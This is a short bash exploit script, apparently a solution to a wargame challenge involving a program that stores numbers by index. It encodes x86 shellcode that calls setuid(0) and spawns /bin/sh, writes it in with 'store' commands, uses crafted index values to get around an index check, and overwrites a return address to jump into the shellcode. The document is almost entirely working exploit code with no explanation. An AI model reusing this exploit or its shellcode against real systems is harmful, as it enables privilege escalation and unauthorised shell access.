#!/bin/bash


# shellcode is :
# \x31\xc0\xb0\x46
# \x31\xdb\x31\xc9
# \xcd\x80\xeb\x16
# \x5b\x31\xc0\x88
# \x43\x07\x89\x5b
# \x08\x89\x43\x0c
# \xb0\x0b\x8d\x4b
# \x08\x8d\x53\x0c
# \xcd\x80\xe8\xe5
# \xff\xff\xff\x2f
# \x62\x69\x6e\x2f
# \x73\x68

IFS=''

shellcode=(0x46b0c031 0xc931db31 0x16eb80cd 0x88c0315b 0x5b890743 0x0c438908 0x4b8d0bb0 0x0c538d08 0xe5e880cd 0x2fffffff 0x2f6e6962 0x00006873)

bit_mask=2147483691

init_addr=43

for ((i = 0; i < ${#shellcode[@]}; i++)); do
    echo "store"
    echo "$(( ${shellcode[$i]} ))"
	if (( (i + init_addr) % 3 == 0)); then
    	echo "$(( i + bit_mask ))"
	else
		echo "$((i + init_addr))"
	fi
done

echo "store"
echo "$(( 0xffffd600 ))"
echo "$(( -1040108880 ))"
echo "read"

#for i in $(seq 0 11); do
#	echo "store"
#	echo "${shellcode[$i]}"
#	echo $(($i + $bit_mask))
#done